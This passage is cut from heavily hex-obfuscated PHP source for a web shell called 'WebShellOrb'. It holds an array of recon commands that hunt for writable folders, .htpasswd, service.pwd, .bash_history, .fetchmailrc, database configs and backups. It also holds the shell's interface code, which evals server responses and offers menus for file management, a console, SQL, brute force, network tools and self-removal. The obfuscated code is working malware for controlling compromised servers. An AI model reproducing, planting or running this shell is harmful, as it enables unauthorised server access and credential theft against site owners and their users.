c\\x6f\\x6efig*\\x20\\x69\\x6e\\x20\\x63urre\\x6et\\x20\\x64\\x69\\x72"=>"\\x66\\x69\\x6ed\\x20.\\x20-\\x74ype f\\x20-na\\x6de \\"config*\\x22","fi\\x6ed\\x20al\\x6c\\x20\\x77\\x72ita\\x62le\\x20\\x66o\\x6c\\x64\\x65\\x72\\x73\\x20and\\x20fi\\x6c\\x65\\x73"=>"\\x66ind\\x20/\\x20-\\x70\\x65\\x72\\x6d\\x20-\\x32 -ls","find\\x20\\x61\\x6cl w\\x72\\x69\\x74a\\x62\\x6ce\\x20\\x66ol\\x64\\x65rs\\x20and fi\\x6ces \\x69\\x6e\\x20\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x20\\x64i\\x72"=>"\\x66ind \\x2e\\x20-\\x70er\\x6d\\x20-\\x32 -ls","f\\x69\\x6e\\x64 a\\x6cl\\x20s\\x65rvice.\\x70\\x77\\x64"=>"\\x66\\x69n\\x64\\x20/\\x20-\\x74yp\\x65 \\x66 -n\\x61m\\x65\\x20\\x73e\\x72v\\x69\\x63e\\x2e\\x70wd","f\\x69\\x6e\\x64\\x20s\\x65r\\x76i\\x63\\x65.\\x70wd\\x20fil\\x65\\x73 i\\x6e\\x20\\x63\\x75rre\\x6et \\x64ir"=>"\\x66\\x69\\x6ed\\x20\\x2e\\x20-\\x74\\x79\\x70\\x65\\x20f\\x20-n\\x61\\x6de \\x73\\x65rv\\x69\\x63e.p\\x77\\x64","f\\x69\\x6ed a\\x6cl\\x20\\x2eh\\x74\\x70assw\\x64"=>"f\\x69\\x6ed\\x20/\\x20-t\\x79\\x70e\\x20f -nam\\x65 .ht\\x70assw\\x64","f\\x69n\\x64\\x20\\x2eh\\x74pas\\x73wd\\x20f\\x69les\\x20i\\x6e curre\\x6e\\x74\\x20d\\x69r"=>"f\\x69nd .\\x20-\\x74\\x79pe f -na\\x6de \\x2ehtp\\x61ss\\x77d","fin\\x64\\x20\\x61ll \\x2e\\x62as\\x68\\x5fhis\\x74\\x6f\\x72y"=>"fi\\x6e\\x64\\x20/ -t\\x79\\x70\\x65\\x20f -na\\x6d\\x65\\x20\\x2eb\\x61sh_\\x68i\\x73t\\x6f\\x72y","\\x66\\x69\\x6ed\\x20\\x2e\\x62\\x61sh\\x5fhisto\\x72y\\x20fi\\x6c\\x65s\\x20i\\x6e\\x20cu\\x72\\x72en\\x74 \\x64\\x69\\x72"=>"fin\\x64 .\\x20-\\x74\\x79pe\\x20f\\x20-n\\x61me\\x20.ba\\x73h_his\\x74\\x6f\\x72\\x79","\\x66i\\x6e\\x64 al\\x6c\\x20\\x2efetch\\x6d\\x61ilr\\x63"=>"f\\x69\\x6e\\x64\\x20/ -\\x74\\x79\\x70e\\x20f\\x20-nam\\x65 .\\x66etc\\x68m\\x61i\\x6c\\x72c","find\\x20\\x2efet\\x63hm\\x61\\x69l\\x72c\\x20f\\x69\\x6c\\x65\\x73\\x20\\x69\\x6e curr\\x65\\x6et\\x20d\\x69r"=>"\\x66in\\x64 . -t\\x79\\x70e \\x66 -name\\x20\\x2ef\\x65\\x74chm\\x61i\\x6c\\x72\\x63","Locate"=>"","loca\\x74e h\\x74\\x74\\x70\\x64.\\x63o\\x6ef"=>"loc\\x61\\x74e\\x20\\x68\\x74t\\x70\\x64\\x2e\\x63o\\x6e\\x66","lo\\x63a\\x74e\\x20\\x76\\x68os\\x74s\\x2e\\x63\\x6f\\x6ef"=>"\\x6c\\x6f\\x63\\x61\\x74\\x65\\x20vho\\x73\\x74s\\x2ec\\x6fn\\x66","\\x6co\\x63\\x61te\\x20\\x70r\\x6fft\\x70\\x64\\x2ec\\x6fnf"=>"\\x6cocate\\x20\\x70\\x72\\x6f\\x66tp\\x64.con\\x66","l\\x6f\\x63ate p\\x73\\x79\\x62\\x6e\\x63.\\x63\\x6f\\x6ef"=>"\\x6c\\x6fc\\x61t\\x65 \\x70\\x73\\x79\\x62nc.\\x63o\\x6ef","\\x6coc\\x61\\x74e\\x20my.c\\x6f\\x6e\\x66"=>"l\\x6f\\x63ate\\x20my\\x2e\\x63on\\x66","l\\x6fc\\x61t\\x65\\x20a\\x64m\\x69n\\x2eph\\x70"=>"\\x6co\\x63at\\x65\\x20ad\\x6d\\x69\\x6e.p\\x68p","lo\\x63\\x61t\\x65\\x20\\x63fg.\\x70hp"=>"\\x6coc\\x61te\\x20\\x63fg\\x2e\\x70\\x68\\x70","\\x6cocate\\x20\\x63\\x6fnf.p\\x68p"=>"\\x6c\\x6f\\x63\\x61\\x74\\x65\\x20\\x63on\\x66.p\\x68\\x70","\\x6cocate\\x20\\x63\\x6f\\x6ef\\x69g.dat"=>"l\\x6fc\\x61te \\x63onf\\x69g.\\x64\\x61t","\\x6c\\x6fcate\\x20\\x63o\\x6efig\\x2e\\x70h\\x70"=>"l\\x6fca\\x74e c\\x6f\\x6ef\\x69g\\x2e\\x70hp","lo\\x63a\\x74\\x65 \\x63\\x6f\\x6e\\x66\\x69g\\x2e\\x69nc"=>"l\\x6fcat\\x65 \\x63o\\x6e\\x66ig\\x2e\\x69n\\x63","\\x6c\\x6fc\\x61\\x74e con\\x66\\x69\\x67.in\\x63\\x2e\\x70\\x68\\x70"=>"l\\x6fc\\x61\\x74e\\x20\\x63onf\\x69\\x67.i\\x6e\\x63.php","lo\\x63\\x61\\x74\\x65 \\x63on\\x66\\x69\\x67.\\x64\\x65fau\\x6c\\x74.p\\x68\\x70"=>"loc\\x61\\x74e \\x63o\\x6ef\\x69g.\\x64\\x65\\x66a\\x75\\x6ct\\x2eph\\x70","l\\x6fc\\x61te\\x20\\x63\\x6fnfig*"=>"\\x6c\\x6fc\\x61t\\x65\\x20\\x63\\x6f\\x6efig","\\x6c\\x6fc\\x61\\x74\\x65\\x20\\x2e\\x63\\x6fnf"=>"\\x6cocat\\x65 \\x27.\\x63o\\x6ef\\x27","\\x6co\\x63\\x61\\x74e\\x20.\\x70w\\x64"=>"lo\\x63\\x61te \'.\\x70w\\x64\'","l\\x6f\\x63at\\x65 .\\x73ql"=>"\\x6coc\\x61te \\x27.\\x73q\\x6c\\x27","\\x6co\\x63\\x61\\x74e .\\x68\\x74p\\x61\\x73\\x73wd"=>"\\x6c\\x6fc\\x61t\\x65\\x20\\x27\\x2e\\x68\\x74pa\\x73\\x73\\x77\\x64\\x27","locat\\x65\\x20.\\x62as\\x68\\x5fh\\x69\\x73to\\x72\\x79"=>"l\\x6fc\\x61t\\x65 \\x27\\x2ebas\\x68_h\\x69\\x73t\\x6f\\x72y\'","l\\x6fcate\\x20.\\x6dy\\x73q\\x6c_\\x68\\x69\\x73t\\x6fr\\x79"=>"\\x6c\\x6fca\\x74\\x65\\x20\\x27\\x2emy\\x73ql_\\x68\\x69stor\\x79\\x27","l\\x6fc\\x61t\\x65 \\x2e\\x66\\x65\\x74c\\x68\\x6da\\x69l\\x72\\x63"=>"\\x6co\\x63\\x61t\\x65 \'\\x2efe\\x74ch\\x6dail\\x72c\'","\\x6c\\x6fc\\x61t\\x65 ba\\x63\\x6bup"=>"\\x6co\\x63ate\\x20\\x62ac\\x6b\\x75p","l\\x6f\\x63\\x61t\\x65\\x20\\x64u\\x6dp"=>"\\x6co\\x63ate \\x64um\\x70","\\x6c\\x6f\\x63a\\x74\\x65\\x20p\\x72\\x69v"=>"l\\x6fca\\x74\\x65 pri\\x76");function WebShellOrbHeader(){${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["lf\\x63\\x64\\x68\\x78\\x69\\x71\\x72ju\\x63"]="\\x66\\x72\\x65\\x65\\x53p\\x61ce";$cvyfemar="\\x69";$gigkkylcom="v";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["r\\x74\\x7ag\\x76\\x69w"]="i\\x74\\x65\\x6d";$jeuwvfj="pa\\x74h";$syynptc="\\x75\\x69\\x64";$unibgzq="\\x72\\x65\\x6ceas\\x65";${"G\\x4cO\\x42A\\x4c\\x53"}["q\\x68\\x67\\x6e\\x6c\\x6aw\\x73"]="\\x74\\x6f\\x74\\x61\\x6cSp\\x61\\x63\\x65";if(empty($_POST["char\\x73et"]))$_POST["ch\\x61\\x72\\x73e\\x74"]=$GLOBALS["\\x64e\\x66au\\x6ct\\x5fc\\x68a\\x72set"];${"GLO\\x42\\x41LS"}["\\x70aa\\x6cly\\x77\\x6b\\x69"]="e\\x78pl\\x69\\x6ek";$unjshhsygx="\\x69\\x74e\\x6d";${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x72rs\\x61\\x79\\x65o\\x76"]="\\x6b";${"G\\x4cO\\x42\\x41\\x4cS"}["\\x74\\x6c\\x6dq\\x79\\x73bj"]="u\\x73\\x65r";$mzcbhnv="\\x6e";global$color;$ylknujmswar="\\x63\\x68a\\x72\\x73ets";$fnmpbhsrxkxs="\\x72\\x65\\x6ce\\x61s\\x65";echo"\\nb\\x6f\\x64\\x79{\\x62a\\x63\\x6b\\x67\\x72oun\\x64-\\x63\\x6fl\\x6f\\x72:\\x23444\\x3b\\x63\\x6flo\\x72:\\x23e1e1\\x65\\x31\\x3b}\\n\\x62od\\x79,t\\x64,\\x74h{\\x20\\x66o\\x6e\\x74:\\x209pt\\x20L\\x75\\x63i\\x64a,Ver\\x64\\x61\\x6e\\x61;ma\\x72\\x67in:\\x30\\x3bvertica\\x6c-\\x61\\x6cign:t\\x6f\\x70;\\x63o\\x6c\\x6f\\x72:\\x23\\x65\\x31\\x65\\x31\\x651\\x3b\\x20}\\n\\x74\\x61\\x62l\\x65.\\x69\\x6efo{\\x20co\\x6c\\x6fr:#f\\x66\\x66;b\\x61c\\x6bgrou\\x6ed-\\x63\\x6f\\x6cor:\\x232\\x322; }\\nspan,\\x68\\x31,\\x61{\\x20\\x63\\x6fl\\x6f\\x72: $color !\\x69mp\\x6frtant; }\\nspan{ f\\x6f\\x6e\\x74-\\x77e\\x69g\\x68t:\\x20\\x62o\\x6cde\\x72\\x3b }\\n\\x68\\x31{\\x20border-l\\x65f\\x74:\\x35px s\\x6fli\\x64 $color\\x3b\\x70a\\x64di\\x6eg:\\x202\\x70\\x78 \\x35\\x70x;f\\x6fn\\x74:\\x20\\x314pt \\x56e\\x72da\\x6e\\x61\\x3bb\\x61ckg\\x72\\x6fu\\x6e\\x64-\\x63\\x6f\\x6c\\x6f\\x72:#222;m\\x61\\x72g\\x69n:0px\\x3b\\x20}\\ndiv\\x2e\\x63o\\x6ete\\x6e\\x74{ \\x70\\x61\\x64di\\x6e\\x67: \\x35p\\x78\\x3bm\\x61\\x72\\x67i\\x6e-\\x6c\\x65ft:\\x35p\\x78\\x3bba\\x63k\\x67r\\x6fund-\\x63ol\\x6fr:#3\\x33\\x33; }\\na{ tex\\x74-\\x64\\x65c\\x6fra\\x74io\\x6e:\\x6eon\\x65;\\x20}\\na:hov\\x65\\x72{\\x20\\x74e\\x78\\x74-dec\\x6fr\\x61tion:un\\x64e\\x72\\x6ci\\x6ee\\x3b\\x20}\\n\\x2em\\x6c\\x31{ bo\\x72\\x64er:1p\\x78 s\\x6fl\\x69\\x64\\x20\\x2344\\x34;padd\\x69ng:\\x35p\\x78\\x3b\\x6d\\x61\\x72\\x67in:\\x30;\\x6fv\\x65r\\x66\\x6c\\x6fw:\\x20\\x61u\\x74o\\x3b }\\n.\\x62\\x69\\x67\\x61\\x72\\x65a{ wi\\x64th:1\\x30\\x30\\x25\\x3b\\x68e\\x69ght:\\x33\\x300\\x70\\x78\\x3b }\\n\\x69n\\x70\\x75t,tex\\x74\\x61\\x72\\x65\\x61,sele\\x63t{ \\x6dar\\x67i\\x6e:\\x30\\x3b\\x63\\x6fl\\x6f\\x72:\\x23\\x66ff\\x3bb\\x61\\x63\\x6bgro\\x75nd-\\x63olor:#\\x3555;\\x62o\\x72\\x64e\\x72:\\x31\\x70\\x78\\x20so\\x6c\\x69d\\x20$color;\\x20\\x66o\\x6e\\x74:\\x209\\x70\\x74\\x20M\\x6fn\\x6f\\x73\\x70\\x61\\x63\\x65,\'C\\x6f\\x75\\x72\\x69\\x65r\\x20N\\x65w\\x27; }\\nform{\\x20m\\x61rgin:\\x30px\\x3b\\x20}\\n#t\\x6fo\\x6c\\x73T\\x62l{\\x20text-\\x61\\x6cign:\\x63en\\x74\\x65\\x72;\\x20}\\n\\x2et\\x6f\\x6flsInp{ \\x77i\\x64t\\x68:\\x203\\x30\\x30\\x70\\x78\\x20}\\n\\x2em\\x61\\x69\\x6e \\x74\\x68{t\\x65x\\x74-\\x61l\\x69\\x67\\x6e:\\x6c\\x65f\\x74\\x3bb\\x61\\x63\\x6bgrou\\x6e\\x64-co\\x6c\\x6f\\x72:\\x235\\x655e\\x35\\x65\\x3b}\\n.\\x6da\\x69n \\x74\\x72:\\x68over{\\x62ack\\x67ro\\x75\\x6ed-c\\x6f\\x6c\\x6f\\x72:\\x23\\x35e\\x35e5e}\\n\\x2e\\x6c1{b\\x61ck\\x67r\\x6f\\x75\\x6ed-c\\x6f\\x6cor:#\\x344\\x34}\\n\\x2el2{\\x62\\x61\\x63k\\x67r\\x6f\\x75nd-c\\x6flo\\x72:\\x23\\x33\\x333}\\npr\\x65{f\\x6fn\\x74-\\x66\\x61\\x6di\\x6c\\x79:C\\x6f\\x75r\\x69\\x65r,M\\x6f\\x6e\\x6fs\\x70\\x61ce\\x3b}\\n\\x3c/\\x73\\x74y\\x6ce\\x3e\\n\\x3csc\\x72\\x69\\x70\\x74>\\n\\x20 \\x20\\x20v\\x61r\\x20c_ = \\x27".htmlspecialchars($GLOBALS["\\x63w\\x64"])."\';\\n \\x20\\x20\\x20\\x76\\x61r a\\x5f\\x20=\\x20\'".htmlspecialchars(@$_POST["a"])."\\x27\\n\\x20 v\\x61r char\\x73et_ \\x3d\\x20\'".htmlspecialchars(@$_POST["\\x63ha\\x72s\\x65\\x74"])."\\x27;\\n var\\x20\\x701\\x5f = \\x27".((strpos(@$_POST["p\\x31"],"\\n")!==false)?"":htmlspecialchars($_POST["\\x70\\x31"],ENT_QUOTES))."\\x27\\x3b\\n \\x20 \\x76\\x61\\x72 \\x702_\\x20\\x3d\\x20\'".((strpos(@$_POST["\\x702"],"\\n")!==false)?"":htmlspecialchars($_POST["\\x70\\x32"],ENT_QUOTES))."\'\\x3b\\n\\x20\\x20 \\x76a\\x72 \\x70\\x33\\x5f\\x20\\x3d \\x27".((strpos(@$_POST["\\x703"],"\\n")!==false)?"":htmlspecialchars($_POST["\\x703"],ENT_QUOTES))."\';\\n \\x20 \\x20\\x76a\\x72 \\x64 =\\x20d\\x6f\\x63u\\x6de\\x6e\\x74\\x3b\\n\\tf\\x75n\\x63ti\\x6fn s\\x65\\x74(\\x61,c,p1,\\x702,\\x703,ch\\x61r\\x73\\x65\\x74) {\\n\\t\\t\\x69\\x66(\\x61!\\x3d\\x6e\\x75\\x6cl)d.mf\\x2ea\\x2eva\\x6cu\\x65\\x3d\\x61;el\\x73e \\x64.\\x6d\\x66.\\x61\\x2e\\x76a\\x6cu\\x65=\\x61_\\x3b\\n\\t\\ti\\x66(\\x63\\x21\\x3d\\x6eu\\x6c\\x6c)\\x64.m\\x66\\x2e\\x63\\x2ev\\x61lue\\x3dc;e\\x6c\\x73e \\x64.\\x6d\\x66.c\\x2ev\\x61\\x6cue=c\\x5f;\\n\\t\\t\\x69f(\\x70\\x31!=nul\\x6c)\\x64.\\x6d\\x66\\x2e\\x701.va\\x6c\\x75\\x65=p\\x31;else\\x20\\x64.mf\\x2ep1.\\x76\\x61l\\x75\\x65\\x3d\\x70\\x31_;\\n\\t\\tif(\\x70\\x32\\x21=\\x6eul\\x6c)d\\x2e\\x6d\\x66.\\x70\\x32\\x2ev\\x61l\\x75\\x65=\\x70\\x32;el\\x73e\\x20\\x64.\\x6d\\x66.\\x702\\x2eval\\x75e=p\\x32_;\\n\\t\\t\\x69f(\\x703\\x21\\x3dnul\\x6c)\\x64.mf\\x2ep3\\x2eva\\x6cu\\x65=\\x703\\x3be\\x6c\\x73e d.\\x6df\\x2ep\\x33\\x2ev\\x61l\\x75\\x65=p\\x33\\x5f;\\n\\t\\t\\x69f(c\\x68\\x61rs\\x65\\x74\\x21\\x3dnul\\x6c)d\\x2e\\x6d\\x66\\x2ec\\x68ar\\x73\\x65t.\\x76\\x61l\\x75\\x65=c\\x68a\\x72s\\x65\\x74\\x3bel\\x73\\x65\\x20\\x64\\x2e\\x6df\\x2echa\\x72s\\x65\\x74.\\x76alu\\x65=\\x63har\\x73\\x65t\\x5f;\\n\\t\\t//\\x69\\x66(c\\x68\\x61\\x72\\x73e\\x74!=\\x6eul\\x6c)\\x64.\\x6df.c\\x68\\x61r\\x73\\x65t\\x2e\\x76a\\x6cu\\x65=ch\\x61\\x72\\x73\\x65\\x74\\x3bel\\x73e \\x64\\x2e\\x6df.c\\x68\\x61r\\x73\\x65\\x74\\x2e\\x76\\x61lu\\x65\\x3dcha\\x72\\x73et\\x5f\\x3b\\n\\t}\\n\\t\\x66unct\\x69\\x6f\\x6e \\x67(a,c,\\x701,\\x702,\\x703,ch\\x61\\x72\\x73\\x65t)\\x20{\\n\\t\\ts\\x65\\x74(\\x61,c,\\x70\\x31,p2,\\x70\\x33,cha\\x72\\x73\\x65t)\\x3b\\n\\t\\td.\\x6d\\x66.\\x73\\x75bmit();\\n\\t}\\n\\tfunc\\x74\\x69o\\x6e \\x61(a,c,p\\x31,p\\x32,\\x703,\\x63\\x68\\x61\\x72\\x73\\x65t) {\\n\\t\\ts\\x65\\x74(\\x61,\\x63,p1,p\\x32,\\x70\\x33,c\\x68\\x61\\x72s\\x65\\x74)\\x3b\\n\\t\\t\\x76ar \\x70a\\x72\\x61m\\x73 = \'\\x61\\x6a\\x61x\\x3dtrue\\x27;\\n\\t\\t\\x66o\\x72(i\\x3d\\x30\\x3bi\\x3c\\x64.m\\x66\\x2e\\x65l\\x65\\x6d\\x65\\x6et\\x73\\x2e\\x6c\\x65ngt\\x68;i++)\\n\\t\\t\\t\\x70\\x61ra\\x6ds\\x20+\\x3d \\x27\\x26\\x27+\\x64\\x2e\\x6d\\x66.elements[\\x69].n\\x61m\\x65+\\x27\\x3d\'+en\\x63\\x6fdeUR\\x49Co\\x6d\\x70on\\x65nt(d\\x2emf\\x2ee\\x6c\\x65me\\x6ets[i].\\x76\\x61lue)\\x3b\\n\\t\\t\\x73r(\\x27".addslashes($_SERVER["RE\\x51U\\x45\\x53T_\\x55RI"])."\', \\x70\\x61r\\x61\\x6d\\x73);\\n\\t}\\n\\tf\\x75n\\x63\\x74ion s\\x72(\\x75r\\x6c,\\x20p\\x61r\\x61\\x6d\\x73) {\\n\\t\\t\\x69f (window.X\\x4dL\\x48t\\x74p\\x52\\x65ques\\x74)\\n\\t\\t\\tr\\x65q\\x20\\x3d\\x20\\x6e\\x65w XML\\x48t\\x74p\\x52\\x65\\x71\\x75es\\x74()\\x3b\\n\\t\\telse\\x20i\\x66\\x20(w\\x69ndow.Act\\x69\\x76eXO\\x62je\\x63\\x74)\\n\\t\\t\\treq\\x20=\\x20\\x6eew\\x20Acti\\x76eXObj\\x65\\x63\\x74(\\x27Micr\\x6fs\\x6f\\x66\\x74\\x2e\\x58ML\\x48\\x54TP\\x27);\\n \\x20 \\x20\\x20 \\x69f\\x20(\\x72eq) {\\n \\x20\\x20\\x20\\x20 \\x20\\x20\\x20 \\x72\\x65\\x71\\x2eo\\x6e\\x72e\\x61dy\\x73tat\\x65ch\\x61nge\\x20= p\\x72\\x6fc\\x65\\x73s\\x52eqCh\\x61n\\x67\\x65;\\n\\x20 \\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20 \\x20\\x72eq\\x2e\\x6f\\x70\\x65n(\'P\\x4fST\\x27, \\x75r\\x6c,\\x20t\\x72\\x75e)\\x3b\\n\\x20 \\x20 \\x20\\x20 \\x20\\x20re\\x71.se\\x74\\x52\\x65que\\x73tH\\x65\\x61\\x64\\x65r (\'C\\x6f\\x6et\\x65\\x6e\\x74-T\\x79pe\',\\x20\'\\x61pp\\x6ci\\x63\\x61\\x74\\x69\\x6f\\x6e/\\x78-w\\x77\\x77-\\x66\\x6fr\\x6d-ur\\x6c\\x65\\x6e\\x63od\\x65\\x64\\x27);\\n \\x20\\x20 \\x20\\x20\\x20\\x20 \\x20 re\\x71\\x2ese\\x6ed(para\\x6d\\x73);\\n \\x20 \\x20\\x20 }\\n\\t}\\n\\t\\x66uncti\\x6fn p\\x72oc\\x65s\\x73\\x52eqC\\x68\\x61ng\\x65() {\\n\\t\\t\\x69f(\\x20(re\\x71\\x2e\\x72\\x65a\\x64\\x79S\\x74ate\\x20==\\x20\\x34)\\x20)\\n\\t\\t\\t\\x69\\x66(\\x72eq.\\x73\\x74\\x61t\\x75\\x73\\x20=\\x3d\\x20\\x3200)\\x20{\\n\\t\\t\\t\\t\\x76\\x61r reg \\x3d\\x20new RegExp(\\x22(\\x5c\\\\\\x64+)([\\x5c\\x5c\\x53\\x5c\\\\\\x73]*)\\",\\x20\\x27\\x6d\\x27)\\x3b\\n\\t\\t\\t\\tva\\x72\\x20\\x61rr=reg\\x2eex\\x65\\x63(re\\x71\\x2e\\x72e\\x73\\x70\\x6fn\\x73e\\x54ext);\\n\\t\\t\\t\\t\\x65\\x76a\\x6c(a\\x72\\x72[2]\\x2e\\x73ub\\x73t\\x72(\\x30, a\\x72r[\\x31]))\\x3b\\n\\t\\t\\t}\\x20e\\x6cse\\x20\\x61\\x6cer\\x74(\'Re\\x71u\\x65st\\x20\\x65\\x72r\\x6fr!\\x27)\\x3b\\n\\t}\\n\\x3c\\x62o\\x64\\x79>\\n<\\x69nput\\x20\\x74y\\x70e=\\x68i\\x64d\\x65n\\x20n\\x61\\x6de=p1>\\n\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74y\\x70\\x65\\x3dh\\x69dde\\x6e \\x6eame\\x3dp2>\\n\\x3c\\x69n\\x70ut\\x20t\\x79p\\x65=hi\\x64\\x64\\x65n\\x20n\\x61\\x6d\\x65\\x3dp\\x33\\x3e\\n\\x3ci\\x6e\\x70\\x75\\x74 \\x74ype\\x3dhidd\\x65n name=\\x63\\x68\\x61rse\\x74>\\n".${${"GL\\x4f\\x42\\x41\\x4c\\x53"}["\\x66\\x66\\x73\\x77\\x6c\\x68a\\x62"]}[${${"G\\x4c\\x4fB\\x41\\x4c\\x53"}["p\\x7a\\x69\\x73\\x70\\x6c\\x67gic"]}]."/";}${$ylknujmswar}=array("U\\x54F-8","\\x57\\x69\\x6edo\\x77\\x73-\\x31251","KOI8-\\x52","K\\x4f\\x49\\x38-U","\\x63\\x70\\x38\\x366");${${"G\\x4c\\x4f\\x42AL\\x53"}["\\x6d\\x67\\x76k\\x78gcmo\\x66\\x79\\x72"]}="";$amhhbx="f\\x72ee\\x53\\x70\\x61c\\x65";foreach(${$wjslkgig} as${${"\\x47L\\x4fB\\x41LS"}["\\x72\\x74z\\x67\\x76i\\x77"]})${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x6d\\x67v\\x6b\\x78\\x67\\x63m\\x6f\\x66\\x79\\x72"]}.="<\\x6fpti\\x6f\\x6e \\x76a\\x6c\\x75e\\x3d\\"".${$unjshhsygx}."\\x22\\x20".($_POST["\\x63h\\x61\\x72\\x73e\\x74"]==${${"\\x47LO\\x42\\x41L\\x53"}["bdmqwqv\\x66q\\x6e"]}?"s\\x65\\x6c\\x65c\\x74e\\x64":"").">".${${"\\x47L\\x4fB\\x41\\x4cS"}["\\x62\\x64\\x6d\\x71\\x77q\\x76\\x66\\x71\\x6e"]}."";${${"\\x47\\x4cOB\\x41L\\x53"}["\\x66\\x73\\x6b\\x71\\x6f\\x77\\x79o\\x76p\\x6b"]}=array("S\\x65\\x63\\x2e\\x20I\\x6e\\x66\\x6f"=>"S\\x65c\\x49\\x6e\\x66\\x6f","\\x46i\\x6c\\x65s"=>"\\x46il\\x65\\x73M\\x61\\x6e","Co\\x6es\\x6fle"=>"\\x43o\\x6e\\x73\\x6f\\x6ce","\\x53\\x71l"=>"\\x53ql","\\x50h\\x70"=>"P\\x68p","S\\x74r\\x69ng \\x74\\x6fols"=>"S\\x74\\x72in\\x67\\x54oo\\x6cs","B\\x72ut\\x65f\\x6f\\x72\\x63e"=>"B\\x72\\x75\\x74e\\x66o\\x72\\x63e","Ne\\x74\\x77\\x6f\\x72\\x6b"=>"\\x4eet\\x77\\x6frk");$fqtoyg="dr\\x69\\x76e\\x73";if(!empty($GLOBALS["\\x61\\x75t\\x68\\x5f\\x70\\x61ss"]))${${"G\\x4c\\x4fBA\\x4c\\x53"}["\\x66\\x73\\x6bq\\x6fw\\x79\\x6f\\x76\\x70\\x6b"]}["\\x4c\\x6fg\\x6f\\x75\\x74"]="\\x4c\\x6f\\x67\\x6f\\x75\\x74";${$yxdvqicqjzi}["\\x53elf r\\x65m\\x6f\\x76\\x65"]="S\\x65\\x6cf\\x52e\\x6dov\\x65";${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["w\\x77\\x74fg\\x63\\x64\\x64f"]}="";foreach(${${"GLOB\\x41\\x4c\\x53"}["\\x66\\x73k\\x71\\x6f\\x77\\x79\\x6f\\x76\\x70k"]} as${${"\\x47LOBAL\\x53"}["o\\x71vr\\x79x\\x65"]}=>${${"GL\\x4fBA\\x4cS"}["\\x76v\\x64\\x78m\\x6a\\x62\\x67\\x65\\x63"]})${${"\\x47\\x4c\\x4fB\\x41LS"}["\\x63\\x64o\\x76f\\x7af\\x67\\x70"]}.="\\x3c\\x74h wi\\x64\\x74h\\x3d\\x22".(int)(100/count(${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x79\\x6bi\\x65\\x6dh\\x6eo"]}))."%\\x22\\x3e[\\x20\\x3ca\\x20\\x68\\x72e\\x66\\x3d\\x22#\\x22\\x20o\\x6ecli\\x63k\\x3d\\"g(\'".${$gigkkylcom}."\\x27,\\x6eull,\\x27\',\'\',\\x27\\x27)\\">".${${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["r\\x72\\x73\\x61\\x79e\\x6fv"]}."\\x20]\\x3c/t\\x68>";${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x6ffhw\\x73m\\x6d\\x6d"]}="";if($GLOBALS["o\\x73"]=="\\x77\\x69\\x6e"){${"\\x47L\\x4fBA\\x4c\\x53"}["b\\x66e\\x70\\x6c\\x61\\x61\\x78\\x67"]="\\x64r\\x69ve";foreach(range("c","z")as${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["b\\x66\\x65\\x70l\\x61a\\x78\\x67"]}){${"\\x47L\\x4f\\x42A\\x4cS"}["j\\x69\\x6c\\x6f\\x67p\\x67"]="dr\\x69ve";if(is_dir(${${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x63b\\x6c\\x77\\x73\\x66\\x73rx\\x64\\x77"]}.":\\\\"))${${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["o\\x66h\\x77\\x73\\x6d\\x6dm"]}.="\\x3ca \\x68\\x72\\x65\\x66\\x3d\\x22\\x23\\" o\\x6ec\\x6c\\x69c\\x6b=\\"\\x67(\'Fi\\x6ces\\x4da\\x6e\\x27,\'".${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["cblwsf\\x73\\x72\\x78d\\x77"]}.":/\\x27)\\x22>[\\x20".${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x6ai\\x6c\\x6f\\x67p\\x67"]}."\\x20]<\\x74\\x72\\x3e\\x3ctd\\x20\\x77\\x69\\x64\\x74h\\x3d\\x31>P\\x68p:\\x3c\\x62r\\x3eHd\\x64:\\x3cb\\x72\\x3e\\x43\\x77\\x64:".($GLOBALS["os"]=="\\x77\\x69\\x6e"?"\\x3cno\\x62\\x72\\x3e".substr(@php_uname(),0,120)." \\x3c/\\x6e\\x6fb\\x72\\x3e<\\x62\\x72\\x3e".${$syynptc}." ( ".${${"GL\\x4fB\\x41\\x4c\\x53"}["tlm\\x71\\x79\\x73b\\x6a"]}." ) \\x47ro\\x75p:".@phpversion()." <\\x73pan>Sa\\x66e \\x6do\\x64e:\\x3c/spa\\x6e> ".($GLOBALS["s\\x61\\x66e_\\x6do\\x64\\x65"]?"<\\x66o\\x6et\\x20colo\\x72=re\\x64>\\x4fN\\x3c\\x62\\x3e\\x4fFF")."\\x20 <\\x73\\x70a\\x6e>Da\\x74e\\x74\\x69\\x6de:\\x3c/s\\x70\\x61n\\x3e ".date("Y-\\x6d-\\x64\\x20H:\\x69:s")."<\\x62\\x72>".WebShellOrbViewSize(${${"G\\x4c\\x4f\\x42AL\\x53"}["\\x6dtmcg\\x62\\x75x\\x73\\x74\\x6a"]})."\\x20 ".WebShellOrbViewSize(${$amhhbx})." (".(int)(${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x70lyu\\x6c\\x68\\x69\\x75\\x72o"]}/${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x6d\\x74\\x6dc\\x67\\x62\\x75xs\\x74\\x6a"]}*100)."%)\\x3cbr>".${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["i\\x65\\x74\\x63\\x75\\x6b\\x6e"]}."\\x20".WebShellOrbPermsColor($GLOBALS["\\x63\\x77\\x64"])." "."\\x3c\\x74\\x64\\x20\\x77\\x69d\\x74h\\x3d\\x31\\x20\\x61lig\\x6e=ri\\x67ht>\\x3c\\x6e\\x6fbr\\x3e<\\x6fp\\x74\\x67ro\\x75\\x70 